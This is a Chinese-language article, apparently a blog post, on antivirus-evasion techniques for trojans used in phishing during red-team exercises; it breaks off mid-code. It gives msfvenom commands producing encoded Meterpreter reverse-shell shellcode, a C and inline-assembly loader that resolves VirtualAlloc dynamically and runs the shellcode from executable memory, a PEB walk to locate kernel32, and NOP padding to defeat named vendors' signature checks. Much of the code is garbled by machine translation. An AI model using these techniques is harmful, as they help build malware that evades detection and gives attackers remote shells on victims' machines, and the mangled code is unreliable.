木马免杀安全视角下的木马免杀技术讨论

*郑重声明:本文仅限于技术讨论和分享，严禁以非法方式使用。

在实战演练中，攻击者需要通过各种手段渗透到企业的相关资产中，挖出企业资产中的漏洞才能得分。这几年这类漏洞挖掘的攻防竞争似乎都集中在web上，web上的漏洞和分数可能更多。但是除了web，apt攻击也是一种不错的攻击技术，运气好的话可以直接进入内网。在apt攻击中，网络钓鱼邮件可能使用得更频繁。一方面，钓鱼的成功与钓鱼副本的吸引力以及木马是否免于被杀密切相关。以下是一些常见的免杀技巧。

0×1壳码动态加载

Shellcode中的代码是敏感的。如果代码中的攻击代码太多，很容易被软件杀死，这样很难避免被杀死。因此，我们需要单独编译主攻击代码，静态存储在数据段中，只在代码块中保留一些无害的代码，然后在程序执行时申请一个可执行内存，然后将这个攻击代码复制到申请的内存中执行，以使被杀死的概率最小化。那么问题来了，shellcode怎么生成？如果你牛逼，可以自己写，如果图方便，可以用msf生成。通用生成有效载荷命令可参考以下内容:

1、msfvene-p windows/meter preter/reverse _ http-e x86/shikata _ ga _ nai-I 12-b ' x00 ' LHOST =[您的远程ip地址]LPORT =[listeningport]-f c & gt；hacker.c

2、msfvene-p windows/meter preter/reverse _ TCP-e x86/shikata _ ga _ nai-I 12-b ' x00 ' LHOST =[您的远程ip地址]LPORT =[监听端口]-f c & gt；hacker.c

3、msfvene-p windows/meter preter/reverse _ TCP _ RC4-e x86/shikata _ ga _ nai-I 12-b ' x00 ' LHOST =[您的远程ip地址]LPORT =[监听端口] -f c >等；hacker.c

这里提供了一个使用msf生成shellcode的例子，其中replications _ TCP _ RC4可以用来加密回复，有助于避免查杀。我们在这里生成的是一串十六进制字节数组，我们可以将其添加到我们的vs项目中，并在程序运行执行shellcode时动态加载。

0×2敏感API动态调用

有些软件会检查iat中的一些敏感函数(Import AddressTable，顾名思义，IAT表存储程序从外部动态链接库调用的函数地址)。比如火眼。检查代码位置后，发现Fireeye会检查virtualalloc函数。Virtualalloc的作用是申请内存，我们在这里使用virtualalloc的原因之一是需要设置内存的可执行属性，这个很重要。如果我们从shellcode复制的内存块没有执行权限，那么我们的shellcode就无法执行。

那么我们如何绕过火眼的检测呢？这里的解决方案是通过动态调用API函数来调用virtualalloc函数。具体来说，加载kernel32.dll库，从内核32库中获取内存中virtualalloc函数的地址，然后执行它。这部分功能可以通过以下代码实现:

HMODULE HMODULE = LoadLibrary(_ T(" kernel 32 . dll ")；

HANDLE shellcode _ handler

FARPROC Address = GetProcAddress(hModule，" Virtual alloc ")；//获取virtualalloc的地址

_asm

{

推送40h//推送参数传输

推送1000小时

推送29Ah

推送0

调用地址//函数调用

movshellcode_handler，eax

}

memcpy(shellcode_handler，newhellcode，sizeof newhellcode)；

((void(*))shell code _ handler)；

这样virtualalloc函数的地址就不会出现在iat表中。然而，在我们解决了virtualloc的麻烦之后，一个麻烦出现了。当我们动态调用virtualalloc时，使用loadLibrary函数。有些杀毒公司会把loadLibrary函数当成敏感函数，比如俄罗斯的VBA32，这是很伤人的。但是，把loadLibrary函数看成是杀人太野蛮了。但是如果想解决，可以使用virtualprotect函数直接修改数据段的可执行属性，然后在程序执行时跳转到这个内存地址执行。然后问题又来了。virtualprotect也应该有很多api来杀死软点。因此，这个loadLibrary函数最终会解决这个问题。其实不需要通过loadLibrary获取kernel32.dll图书馆的地址，也可以从PEB获取，可以通过以下代码获取:

_asm {

Mov esi，fs:[0x30]//获取PEB地址

Mov esi，[esi+0xc]//指向PEB_LDR_DATA结构的第一个地址

Mov esi，[esi+0x1c]//双向链表的地址

Mov esi，[esi]//获取第二个条目kernelBase的链表

Mov esi，[esi]//获取第三个条目kernel32链表(win10)

Mov esi，[esi+0x8] //kernel32.dll地址

mov hModule，esi

}

果然这个方法可以通过vba32，但是问题又来了。有些厂商会测试这个代码，比如富通的杀毒引擎会测试这个代码。但是这是基于机器码检测的，对于机器码匹配，基本上就是模式匹配，所以我们只需要在代码中加入一些nop指令，具体代码如下:

_asm {

Mov esi，fs:[0x30]//获取PEB地址